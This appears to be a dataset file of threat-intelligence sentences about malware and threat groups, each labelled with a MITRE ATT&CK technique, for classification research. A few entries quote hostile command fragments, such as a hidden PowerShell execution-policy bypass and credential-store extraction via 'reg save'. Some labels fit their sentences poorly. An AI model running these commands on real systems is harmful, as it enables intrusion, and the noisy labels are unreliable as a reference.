HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
An administrator can also configure a profile that applies to all users and host programs on the local computer.
Technique: T1546: Event Triggered Execution
Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes.
Technique: T1027: Obfuscated Files or Information
Kimsuky has used JScript for logging and downloading additional tools.
Technique: T1059: Command and Scripting Interpreter
DustySky searches for removable media and duplicates itself onto it.
Technique: T1091: Replication Through Removable Media
PlugX decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.
Technique: T1140: Deobfuscate/Decode Files or Information
Babuk has the ability to check running processes on a targeted system.
Technique: T1057: Process Discovery
Leviathan has used C:\Windows\Debug and C:\Perflogs as staging directories.
Technique: T1074: Data Staged
APT37 obfuscates strings and payloads.
Technique: T1027: Obfuscated Files or Information
They could subsequently lock others out of the file.
Technique: T1222: File and Directory Permissions Modification
Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
Technique: T1578: Modify Cloud Compute Infrastructure
It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents
Technique: T1083: File and Directory Discovery
Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution.
Technique: T1021: Remote Services
iKitten collects the keychains on the system.
Technique: T1555: Credentials from Password Stores
The shellcode is not encrypted but is obfuscated
Technique: T1027: Obfuscated Files or Information
Xbash can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.
Technique: T1110: Brute Force
DownPaper uses PowerShell to add a Registry Run key in order to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Some examples of event types include system startup and user authentication.
Technique: T1546: Event Triggered Execution
GoldFinder has used HTTP for C2.
Technique: T1071: Application Layer Protocol
Persona development consists of the development of public information, presence, history and appropriate affiliations.
Technique: T1585: Establish Accounts
TeamTNT has used batch scripts to download tools and executing cryptocurrency miners.
Technique: T1059: Command and Scripting Interpreter
SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.
Technique: T1091: Replication Through Removable Media
Adversaries may purchase domains similar to legitimate domains  during acquisition of infrastructure  to help facilitate Drive-by Compromise.
Technique: T1608: Stage Capabilities
SLOTHFULMEDIA has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.
Technique: T1070: Indicator Removal on Host
Hikit has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.
Technique: T1553: Subvert Trust Controls
Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise.
Technique: T1608: Stage Capabilities
ZeroT can add a new service to ensure PlugX persists on the system when delivered as another payload onto the system.
Technique: T1543: Create or Modify System Process
Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.
Technique: T1008: Fallback Channels
Rocke has installed a systemd service script to maintain persistence.
Technique: T1543: Create or Modify System Process
Skidmap has created a fake rm binary to replace the legitimate Linux binary.
Technique: T1036: Masquerading
Rocke has spread its coinminer via SSH.
Technique: T1021: Remote Services
Sidewinder has used VBScript to drop and execute malware loaders.
Technique: T1059: Command and Scripting Interpreter
Mustang Panda has also used reg save on the SYSTEM file Registry location to help extract the NTDS.dit file.
Technique: T1003: OS Credential Dumping
MobileOrder exfiltrates data to its C2 server over the same protocol as C2 communications.
Technique: T1041: Exfiltration Over C2 Channel
TrickBot can disable Windows Defender.
Technique: T1562: Impair Defenses
Bundlore can change browser security settings to enable extensions to be installed.
Technique: T1562: Impair Defenses
Adversaries may overwrite data in boot drivers or firmware such as BIOS  and The Unified Extensible Firmware Interface  to persist on systems at a layer below the operating system.
Technique: T1542: Pre-OS Boot
AppleJeus has waited a specified time before downloading a second stage payload.
Technique: T1497: Virtualization/Sandbox Evasion
The link provided in the malicious email led to a fake VPN Web Portal:  Upon logging in with the credentials provided in the email, the victim is presented with the following page:  The victim is asked to install the “VPN Client” (an .exe file), or, if download fails, to download a password protected zip (with the same .exe file inside)
Technique: T1105: Ingress Tool Transfer
Micropsia creates a RAR archive based on collected files on the victim's machine.
Technique: T1560: Archive Collected Data
FIN7 has attempted to run Darkside ransomware with the filename sleep.exe.
Technique: T1036: Masquerading
APT33 has used password spraying to gain access to target systems.
Technique: T1110: Brute Force
FALLCHILL uses fake Transport Layer Security  to communicate with its C2 server.
Technique: T1001: Data Obfuscation
These sites may also have details highlighting business operations and relationships.
Technique: T1594: Search Victim-Owned Websites
Tropic Trooper has installed a service pointing to a malicious DLL dropped to disk.
Technique: T1543: Create or Modify System Process
ComRAT can check the default browser by querying HKCR\http\shell\open\command.
Technique: T1012: Query Registry
Lazarus Group has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.
Technique: T1496: Resource Hijacking
Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives.
Technique: T1083: File and Directory Discovery
TrickBot has used Nt* Native API functions to inject code into legitimate processes such as wermgr.exe.
Technique: T1055: Process Injection
Windows authentication package DLLs are loaded by the Local Security Authority  process at system start.
Technique: T1547: Boot or Logon Autostart Execution
Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Technique: T1007: System Service Discovery
Crimson can add Registry run keys for persistence.
Technique: T1547: Boot or Logon Autostart Execution
Adversaries may break out of a container to gain access to the underlying host.
Technique: T1611: Escape to Host
Metamorfo can send the data it collects to the C2 server.
Technique: T1041: Exfiltration Over C2 Channel
Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information  or Compromise Accounts and/or sending multiple, seemingly urgent messages.
Technique: T1598: Phishing for Information
TrickBot collects the users of the system.
Technique: T1087: Account Discovery
APT32 has also encoded payloads using Base64 and a framework called "Dont-Kill-My-Cat .
Technique: T1027: Obfuscated Files or Information
The initial overlap was based on the filename wmssl.exe, which was seen as an executable name that Cannon would move the wmssl.txt attachment to install and execute a secondary payload
Technique: T1036: Masquerading
Stuxnet propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.
Technique: T1210: Exploitation of Remote Services
Traps provides endpoint protection, as it can block Excel from creating a command prompt process
Technique: T1059: Command and Scripting Interpreter
WindTail has the ability to receive and execute a self-delete command.
Technique: T1070: Indicator Removal on Host
HTML5 also introduced a download attribute that may be used to initiate file downloads.
Technique: T1027: Obfuscated Files or Information
PLAINTEE uses reg add to add a Registry Run key for persistence.
Technique: T1112: Modify Registry
APT28 attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.
Technique: T1204: User Execution
Pony has been delivered via spearphishing attachments.
Technique: T1566: Phishing
Sandworm Team has run the  xp_cmdshell command in MS-SQL.
Technique: T1059: Command and Scripting Interpreter
PipeMon installer can use UAC bypass techniques to install the payload.
Technique: T1548: Abuse Elevation Control Mechanism
In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities .
Technique: T1588: Obtain Capabilities
Adversaries may access data objects from improperly secured cloud storage.
Technique: T1530: Data from Cloud Storage Object
NavRAT loads malicious shellcode and executes it in memory.
Technique: T1059: Command and Scripting Interpreter
Kimsuky has used RDP for direct remote point-and-click access.
Technique: T1021: Remote Services
ZIRCONIUM has used a tool to capture the processor architecture of a compromised host in order to register it with C2.
Technique: T1082: System Information Discovery
Fox Kitten has brute forced RDP credentials.
Technique: T1110: Brute Force
The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]  Figure 1: Lure Screenshots The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences
Technique: T1113: Screen Capture
Cuba has been dropped onto systems and used for lateral movement via obfuscated PowerShell scripts.
Technique: T1059: Command and Scripting Interpreter
RTM has used a modified version of TeamViewer and Remote Utilities for remote access.
Technique: T1219: Remote Access Software
They also obtained ntds.dit from domain controllers.
Technique: T1003: OS Credential Dumping
Bazar can fingerprint architecture, computer name, and OS version on the compromised host.
Technique: T1082: System Information Discovery
Cuba has a hardcoded list of services and processes to terminate.
Technique: T1489: Service Stop
Industroyer sends information about hardware profiles and previously-received commands back to the C2 server in a POST-request.
Technique: T1041: Exfiltration Over C2 Channel
Data Exfiltration The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate
Technique: T1115: Clipboard Data
Gathering this information may reveal opportunities for other forms of reconnaissance  or Search Open Technical Databases, establishing operational resources  or Obtain Capabilities, and/or initial access  or External Remote Services.
Technique: T1592: Gather Victim Host Information
Dynamic-link libraries  that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface  functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.
Technique: T1546: Event Triggered Execution
USBferry can detect the infected machine's network topology using ipconfig and arp.
Technique: T1016: System Network Configuration Discovery
PinchDuke collects user files from the compromised host based on predefined file extensions.
Technique: T1005: Data from Local System
Some of these security controls may be enabled by default, such as Driver Signature Enforcement  on Windows or System Integrity Protection  on macOS.
Technique: T1553: Subvert Trust Controls
Kimsuky created and used a mailing toolkit to use in spearphishing attacks.
Technique: T1587: Develop Capabilities
In some cases politically oriented image files have been used to overwrite data.
Technique: T1485: Data Destruction
SoreFang can enumerate processes on a victim machine through use of Tasklist.
Technique: T1057: Process Discovery
JCry has been observed deleting shadow copies to ensure that data cannot be restored easily.
Technique: T1490: Inhibit System Recovery
TA551 has hidden encoded data for malware DLLs in a PNG.
Technique: T1027: Obfuscated Files or Information
A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.
Technique: T1583: Acquire Infrastructure
SpicyOmelette has the ability to execute arbitrary JavaScript code on a compromised host.
Technique: T1059: Command and Scripting Interpreter
Once established within a system or network, an adversary may use automated techniques for collecting internal data.
Technique: T1119: Automated Collection
Siloscape can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.
Technique: T1609: Container Administration Command
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention  network paths.
Technique: T1129: Shared Modules
With sufficient permissions, adversaries can modify domain policy settings.
Technique: T1484: Domain Policy Modification
Turla has developed its own unique malware for use in operations.
Technique: T1587: Develop Capabilities
Spark can collect the hostname, keyboard layout, and language from the system.
Technique: T1082: System Information Discovery
MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.
Technique: T1082: System Information Discovery
Rifdoor has the ability to identify the IP address of the compromised host.
Technique: T1016: System Network Configuration Discovery
Adversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables.
Technique: T1547: Boot or Logon Autostart Execution
Each implant was given a "junk length" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.
Technique: T1001: Data Obfuscation
The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands:  Commands received from the control server are encoded DWORDs After decoding, these DWORDs should be in the range 123459h to 123490h  Malware checking to make sure a received command is in the correct range
Technique: T1132: Data Encoding
Gamaredon Group can also inject malicious macros or remote templates into documents already present on compromised systems.
Technique: T1221: Template Injection
HOPLIGHT has injected into running processes.
Technique: T1055: Process Injection
BackConfig has used compressed and decimal encoded VBS scripts.
Technique: T1027: Obfuscated Files or Information
The AutoIT script is offering a lot of other functions which are not used in this campaign, like anti-virtual machine detection, USB drive infection and others.The final payload — which we found in the AutoIT PE file resource section and was started by the process-hollowing shellcode — is a .NET PE file that's obfuscated with ConfuserEx
Technique: T1027: Obfuscated Files or Information
RTM can capture screenshots.
Technique: T1113: Screen Capture
APT37 has used malware that will issue the command shutdown /r /t 1 to reboot a system after wiping its MBR.
Technique: T1529: System Shutdown/Reboot
HOPLIGHT has used svchost.exe to execute a malicious DLL .
Technique: T1569: System Services
DustySky created folders in temp directories to host collected files before exfiltration.
Technique: T1074: Data Staged
Additionally, depending on the virtual networking implementation , network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.
Technique: T1564: Hide Artifacts
Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.
Technique: T1600: Weaken Encryption
OceanSalt can extract drive information from the endpoint and search files on the system.
Technique: T1083: File and Directory Discovery
Figure 2: Sofacy Fysbis capability related leakage through strings Figure 2 shows interactive status / feedback strings that can give a defender an initial profile of capabilities
Technique: T1027: Obfuscated Files or Information
FIN7 created a custom video recording capability that could be used to monitor operations in the victim's environment.
Technique: T1125: Video Capture
PlugX has a module to download and execute files on the compromised machine.
Technique: T1105: Ingress Tool Transfer
NotPetya will reboot the system one hour after infection.
Technique: T1529: System Shutdown/Reboot
Dragonfly 2.0 has disabled host-based firewalls.
Technique: T1562: Impair Defenses
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API.
Technique: T1112: Modify Registry
Legitimate applications  and other administrative programs may utilize Remote Services to access remote hosts.
Technique: T1021: Remote Services
Threat Group-3390 has used net use to conduct internal discovery of systems.
Technique: T1049: System Network Connections Discovery
Penquin has mimicked the Cron binary to hide itself on compromised systems.
Technique: T1036: Masquerading
APT38 has installed a new Windows service to establish persistence.
Technique: T1543: Create or Modify System Process
Adversaries may alter application binaries used to display data in order to cause runtime manipulations.
Technique: T1565: Data Manipulation
Agent Tesla can download additional files for execution on the victim’s machine.
Technique: T1105: Ingress Tool Transfer
Avaddon has been executed through a malicious JScript downloader.
Technique: T1059: Command and Scripting Interpreter
Darkhotel has exploited Adobe Flash vulnerability CVE-2015-8651 for execution.
Technique: T1203: Exploitation for Client Execution
RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names.
Technique: T1102: Web Service
BBK has the ability to use the CreatePipe API to add a sub-process for execution via cmd.
Technique: T1106: Native API
InvisiMole InvisiMole can identify proxy servers used by the victim and use them for C2 communication.
Technique: T1090: Proxy
Exaramel for Linux can run whoami to identify the system owner.
Technique: T1033: System Owner/User Discovery
QakBot has the ability to enumerate windows on a compromised host.
Technique: T1010: Application Window Discovery
SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.
Technique: T1018: Remote System Discovery
Stuxnet transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value.
Technique: T1132: Data Encoding
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.
Technique: T1485: Data Destruction
POWERTON can install a Registry Run key for persistence.
Technique: T1547: Boot or Logon Autostart Execution
One persistence mechanism used by CozyCar is to register itself as a Windows service.
Technique: T1543: Create or Modify System Process
BBK has the ability to download files from C2 to the infected host.
Technique: T1105: Ingress Tool Transfer
Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.
Technique: T1027: Obfuscated Files or Information
MegaCortex has deleted volume shadow copies using vssadmin.exe.
Technique: T1490: Inhibit System Recovery
To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account .
Technique: T1558: Steal or Forge Kerberos Tickets
Rover copies files from removable drives to C:\system.
Technique: T1074: Data Staged
Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID.
Technique: T1070: Indicator Removal on Host
MoleNet can use WMI commands to check the system for firewall and antivirus software.
Technique: T1518: Software Discovery
EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Stuxnet uses HTTP to communicate with a command and control server.
Technique: T1071: Application Layer Protocol
Adversaries may modify file or directory permissions/attributes to evade access control lists  and access protected files.
Technique: T1222: File and Directory Permissions Modification
DarkComet has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.
Technique: T1036: Masquerading
lists the running processes
Technique: T1057: Process Discovery
HELLOKITTY can search for specific processes to terminate.
Technique: T1057: Process Discovery
Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process.
Technique: T1620: Reflective Code Loading
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
Technique: T1110: Brute Force
Adversaries may take advantage of routing schemes in Content Delivery Networks  and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.
Technique: T1090: Proxy
APT32 has used email for C2 via an Office macro.
Technique: T1071: Application Layer Protocol
Link-Local Multicast Name Resolution  and NetBIOS Name Service  are Microsoft Windows components that serve as alternate methods of host identification.
Technique: T1557: Adversary-in-the-Middle
Indrik Spider has used Cobalt Strike to empty log files.
Technique: T1070: Indicator Removal on Host
StrongPity can identify the hard disk volume serial number on a compromised host.
Technique: T1082: System Information Discovery
Unique User-Agents The unique User-Agents used in the HTTP communication between SpeakUp to the C&C are a possible path to the identity of the threat actor behind this campaign
Technique: T1033: System Owner/User Discovery
xCaon has decoded strings from the C2 server before executing commands.
Technique: T1140: Deobfuscate/Decode Files or Information
Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action.
Technique: T1546: Event Triggered Execution
TeamTNT has deployed different types of containers into victim environments to facilitate execution.
Technique: T1610: Deploy Container
Denis has used DNS tunneling for C2 communications.
Technique: T1071: Application Layer Protocol
build_downer has the ability to use the WinExec API to execute malware on a compromised host.
Technique: T1106: Native API
Payloads may be compressed, archived, or encrypted in order to avoid detection.
Technique: T1027: Obfuscated Files or Information
An increasingly popular tactic by threat actors is to use legitimate hosting services like Google Cloud or CloudFlare for their payload and C2  infrastructure, making it much more difficult to safely block IPs
Technique: T1102: Web Service
(Source: Dell SecureWorks) To facilitate lateral movement, the adversaries deploy ASPXTool web shells to internally accessible systems running IIS
Technique: T1505: Server Software Component
PoisonIvy contains a keylogger.
Technique: T1056: Input Capture
By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them.
Technique: T1583: Acquire Infrastructure
The Windows service control manager  is an interface to manage and manipulate services.
Technique: T1569: System Services
DNS packets contain many fields and headers in which data can be concealed.
Technique: T1071: Application Layer Protocol
keylogger) may be missing for these platforms
Technique: T1056: Input Capture
Tools can be used for malicious purposes by an adversary, but  were not intended to be used for those purposes .
Technique: T1608: Stage Capabilities
Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Technique: T1036: Masquerading
FIN4 has used spearphishing emails containing attachments  with embedded malicious macros.
Technique: T1566: Phishing
Here is an example of the result of ps ax on an infected system:       $ ps ax[...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle[...]     Figure 8: Result of ps ax on an infected system Keychain stealing The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s keychain
Technique: T1082: System Information Discovery
APT17 has created and cultivated profile pages in Microsoft TechNet.
Technique: T1585: Establish Accounts
Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.
Technique: T1552: Unsecured Credentials
Exaramel for Windows adds the configuration to the Registry in XML format.
Technique: T1112: Modify Registry
BBK has the ability to inject shellcode into svchost.exe.
Technique: T1055: Process Injection
This request is followed by a call to “GetisrunasAbById” to determine if the Trojan should use “runas” to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click
Technique: T1548: Abuse Elevation Control Mechanism
Chimera has used RDP to access targeted systems.
Technique: T1021: Remote Services
In user mode, Windows Authenticode  digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code .
Technique: T1553: Subvert Trust Controls
Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.
Technique: T1195: Supply Chain Compromise
WannaCry encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.
Technique: T1486: Data Encrypted for Impact
EVILNUM can download and upload files to the victim's computer.
Technique: T1105: Ingress Tool Transfer
Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents.
Technique: T1027: Obfuscated Files or Information
BBSRAT can modify service configurations.
Technique: T1543: Create or Modify System Process
WINERACK can gather information about the host.
Technique: T1082: System Information Discovery
Stolen Pencil has used tools that are capable of obtaining credentials from web browsers.
Technique: T1555: Credentials from Password Stores
PowerShower has used a PowerShell document stealer module to pack and exfiltrate .txt, .pdf, .xls or .doc files smaller than 5MB that were modified during the past two days.
Technique: T1041: Exfiltration Over C2 Channel
Note that every string is decrypted with different XOR parameter which may fail some of the automatic analyzers.
Technique: T1027: Obfuscated Files or Information
Odbcconf.exe is digitally signed by Microsoft.
Technique: T1218: Signed Binary Proxy Execution
TeamTNT has the curl command and batch scripts to download new tools.
Technique: T1105: Ingress Tool Transfer
Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments.
Technique: T1071: Application Layer Protocol
Cobian RAT has a feature to perform screen capture.
Technique: T1113: Screen Capture
A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point  via an APC.
Technique: T1055: Process Injection
Molerats used various implants, including those built with VBScript, on target machines.
Technique: T1059: Command and Scripting Interpreter
This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
Technique: T1606: Forge Web Credentials
Metamorfo has used MSI files to download additional files to execute.
Technique: T1105: Ingress Tool Transfer
Adversaries may gather information about the victim's network topology that can be used during targeting.
Technique: T1590: Gather Victim Network Information
OceanSalt can collect the computer name from the system.
Technique: T1082: System Information Discovery
Remsec contains a keylogger component.
Technique: T1056: Input Capture
Metamorfo has displayed fake forms on top of banking sites to intercept credentials from victims.
Technique: T1056: Input Capture
Sibot has been executed via MSHTA application.
Technique: T1218: Signed Binary Proxy Execution
Blue Mockingbird has obfuscated the wallet address in the payload binary.
Technique: T1027: Obfuscated Files or Information
Bundlore has obfuscated data with base64, AES, RC4, and bz2.
Technique: T1027: Obfuscated Files or Information
Sykipot uses SSL for encrypting C2 communications.
Technique: T1573: Encrypted Channel
Micropsia searches for anti-virus software and firewall products installed on the victim’s machine using WMI.
Technique: T1518: Software Discovery
The payload of CozyCar is encrypted with simple XOR with a rotating key.
Technique: T1027: Obfuscated Files or Information
Night Dragon used privately developed and customized remote access tools.
Technique: T1587: Develop Capabilities
Adversaries may log user keystrokes to intercept credentials as the user types them.
Technique: T1056: Input Capture
Cobalt Strike can use WMI to deliver a payload to a remote host.
Technique: T1047: Windows Management Instrumentation
APT39 has modified and used customized versions of publicly-available tools like PLINK and Mimikatz.
Technique: T1588: Obtain Capabilities
KONNI has used cmd.exe execute arbitrary commands on the infected host across different stages of the infection change.
Technique: T1059: Command and Scripting Interpreter
@6”{Unique Identifier}.” Calisto has the capability to add its own account to the victim's machine.
Technique: T1136: Create Account
EKANS uses standard encryption library functions to encrypt files.
Technique: T1486: Data Encrypted for Impact
Commands such as net localgroup of the Net utility, dscl .
Technique: T1069: Permission Groups Discovery
APT37 has used Ruby scripts to execute payloads.
Technique: T1059: Command and Scripting Interpreter
Machete stores files and logs in a folder on the local drive.
Technique: T1074: Data Staged
Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.
Technique: T1593: Search Open Websites/Domains
.service files are Systemd Service unit files that are managed by the systemd system and service manager.
Technique: T1053: Scheduled Task/Job
Pasam creates a backdoor through which remote attackers can retrieve files.
Technique: T1005: Data from Local System
jRAT can support RDP control.
Technique: T1021: Remote Services
The MIB may also contain device operational information, including running configuration, routing table, and interface details.
Technique: T1602: Data from Configuration Repository
Netwalker can use Windows API functions to inject the ransomware DLL.
Technique: T1106: Native API
Poseidon Group obtains and saves information about victim network interfaces and addresses.
Technique: T1049: System Network Connections Discovery
It will run the newly downloaded PowerShell script by running the following command via cmd /c:       wscript.exe "Office365DCOMCheck.vbs" "PowerShell.exe-ExecutionPolicy bypass -WindowStyle hidden -NoProfile <path to Office365DCOMCheck.ps1 script>"     The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload
Technique: T1546: Event Triggered Execution
For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Technique: T1216: Signed Script Proxy Execution
JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum.
Technique: T1082: System Information Discovery
Penquin can use Cron to create periodic and pre-scheduled background jobs.
Technique: T1053: Scheduled Task/Job
FIN7 used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.
Technique: T1497: Virtualization/Sandbox Evasion
SDBbot has the ability to XOR the strings for its installer component with a hardcoded 128 byte key.
Technique: T1027: Obfuscated Files or Information
The Bazar loader has named malicious shortcuts "adobe" and mimicked communications software.
Technique: T1036: Masquerading
Adversaries may perform sudo caching and/or use the suoders file to elevate privileges.
Technique: T1548: Abuse Elevation Control Mechanism
GALLIUM used WinRAR to compress and encrypt stolen data prior to exfiltration.
Technique: T1560: Archive Collected Data
Bazar's loader can delete scheduled tasks created by a previous instance of the malware.
Technique: T1070: Indicator Removal on Host
The Regin malware platform supports many standard protocols, including HTTP and HTTPS.
Technique: T1071: Application Layer Protocol
SDBbot has the ability to get directory listings or drive information on a compromised host.
Technique: T1083: File and Directory Discovery
Kimsuky has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP.
Technique: T1078: Valid Accounts
FIN7 has encrypted virtual disk volumes on ESXi servers using a version of Darkside ransomware.
Technique: T1486: Data Encrypted for Impact
Derusbi is capable of enumerating Registry keys and values.
Technique: T1012: Query Registry
LC_LOAD_DYLIB 
Technique: T1546: Event Triggered Execution
stages collected data in a text file.
Technique: T1074: Data Staged
NanoCore can modify the victim's firewall.
Technique: T1562: Impair Defenses
SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile.
Technique: T1074: Data Staged
LightNeuron has a function to delete files.
Technique: T1070: Indicator Removal on Host
Most decompression techniques decompress the executable code in memory.
Technique: T1027: Obfuscated Files or Information
Caterpillar WebShell can search for files in directories.
Technique: T1083: File and Directory Discovery
Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.
Technique: T1055: Process Injection
Revenge RAT uses the Forfiles utility to execute commands on the system.
Technique: T1202: Indirect Command Execution
FIN8 also obfuscates malicious macros delivered as payloads.
Technique: T1027: Obfuscated Files or Information
Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
Technique: T1205: Traffic Signaling
ZxShell has used FTP for C2 connections.
Technique: T1071: Application Layer Protocol
Gamaredon Group has embedded malicious macros in document templates, which executed VBScript.
Technique: T1059: Command and Scripting Interpreter
MURKYTOP has the capability to schedule remote AT jobs.
Technique: T1053: Scheduled Task/Job
BlackTech has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.
Technique: T1036: Masquerading
High resolution screenshots of specified process windows and when recording VoiceIP application audio
Technique: T1123: Audio Capture
Gamaredon Group malware has used CreateProcess to launch additional malicious components.
Technique: T1106: Native API
Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.
Technique: T1589: Gather Victim Identity Information
APT41 has executed file /bin/pwd on exploited victims, perhaps to return architecture related information.
Technique: T1083: File and Directory Discovery
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs.
Technique: T1106: Native API
BISCUIT has a command to enumerate running processes and identify their owners.
Technique: T1057: Process Discovery
PipeMon can install additional modules via C2 commands.
Technique: T1105: Ingress Tool Transfer
Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.
Technique: T1111: Two-Factor Authentication Interception
Using the machine's local time, XCSSET waits 43200 seconds  from the initial creation timestamp of a specific file, .report.
Technique: T1497: Virtualization/Sandbox Evasion
EVILNUM can execute commands and scripts through rundll32.
Technique: T1218: Signed Binary Proxy Execution
Melcoz has the ability to steal credentials from web browsers.
Technique: T1555: Credentials from Password Stores
Adversaries may establish persistence by executing malicious content triggered by an interrupt signal.
Technique: T1546: Event Triggered Execution
PowerShower has the ability to identify the current Windows domain of the infected host.
Technique: T1016: System Network Configuration Discovery
The group also used GitHub as a repository for tools that it downloaded post-compromise.
Technique: T1102: Web Service
Kerrdown can use DLL side-loading to load malicious DLLs.
Technique: T1574: Hijack Execution Flow
The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.
Technique: T1566: Phishing
The deprecated at utility could also be abused by adversaries , though at.exe can not access tasks created with schtasks or the Control Panel.
Technique: T1053: Scheduled Task/Job
If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.
Technique: T1587: Develop Capabilities
For example, this may be used to forge SAML Tokens, without the need to compromise the signing certificate to forge new credentials.
Technique: T1484: Domain Policy Modification
Pay2Key can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.
Technique: T1486: Data Encrypted for Impact
The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume.
Technique: T1498: Network Denial of Service
LockerGoga has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.
Technique: T1570: Lateral Tool Transfer
ComRAT has the ability to use the Gmail web UI to receive commands and exfiltrate information.
Technique: T1102: Web Service
Pasam creates a backdoor through which remote attackers can retrieve lists of running processes.
Technique: T1057: Process Discovery
The OsInfo function in Komplex collects a running process list.
Technique: T1057: Process Discovery
Fysbis can collect information about running processes.
Technique: T1057: Process Discovery
RDAT has used HTTP if DNS C2 communications were not functioning.
Technique: T1008: Fallback Channels
Chaes has used the Puppeteer module to hook and monitor the Chrome web browser to collect user information from infected hosts.
Technique: T1185: Browser Session Hijacking
ThiefQuest uses various API to perform behaviors such as executing payloads and performing local enumeration.
Technique: T1106: Native API
